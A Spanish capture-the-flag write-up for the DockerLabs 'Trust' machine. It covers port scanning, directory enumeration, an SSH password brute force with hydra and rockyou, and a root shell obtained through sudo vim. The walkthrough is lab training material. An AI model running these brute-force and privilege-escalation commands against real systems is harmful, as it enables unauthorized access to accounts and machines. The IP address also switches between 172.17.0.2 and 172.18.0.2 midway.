Skip to content

Trust

This content is not available in your language yet.

En este artículo, explicaré cómo resolví el CTF de la máquina virtual Trust. Describo paso a paso las técnicas y herramientas utilizadas para encontrar y explotar las vulnerabilidades presentes.

  • Nombre: Trust
  • Autor: El Pingüino de Mario
  • Nivel de Dificultad: Muy Fácil
  • Fecha de creación: 02/04/2024
  • Descargamos la máquina desde la web de DockerLabs.

  • Descomprimimos el .zip:

    Ventana de terminal
    unzip trust.zip
  • Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh trust.tar

Al desplegar la máquina, se muestra su dirección IP directamente, por lo que evitamos el escaneo por ARP.

IP image

Creamos una carpeta para organizar los recursos del CTF:

Ventana de terminal
mkdir Trust
cd Trust
mkt # Crea las carpetas: content, exploits, nmap y scripts

Ejecutamos un escaneo completo para identificar los puertos abiertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos del archivo generado:

Ventana de terminal
extractPorts allPorts

Ports image

Realizamos un escaneo más detallado de servicios en el puerto 80:

Ventana de terminal
nmap -sCV -p80 172.17.0.2 -oN targeted

Resultado:

Services image

Enumeramos los directorios accesibles desde el servidor web:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt -t 200

Resultados:

gobuster image

Descubrimos un archivo interesante: secret.php. Al acceder desde el navegador, vemos el siguiente mensaje que revela un posible nombre de usuario:

Mario image

Con el nombre de usuario identificado (mario), probamos fuerza bruta en el servicio SSH:

Ventana de terminal
hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2 -t 4

hydra image

Obtenemos la contraseña correcta para mario. Ya podemos ingresar por SSH:

Ventana de terminal
ssh mario@172.18.0.2

Verificamos qué comandos puede ejecutar mario como superusuario:

Ventana de terminal
sudo -l

Sudo image

Observamos que puede ejecutar vim como cualquier usuario. Consultamos GTFOBins con searchbins:

Ventana de terminal
searchbins -b vim -f sudo

Ejecutamos el binario con privilegios:

Ventana de terminal
sudo vim -c ':!/bin/sh'

Con esto obtenemos una shell como root:

Root image

La máquina cumplió con el nivel de dificultad anunciado. Fue una excelente práctica para el reconocimiento inicial, fuerza bruta por SSH y escalada de privilegios mediante binarios vulnerables. Herramientas como nmap, gobuster, hydra y searchbins fueron clave en el proceso.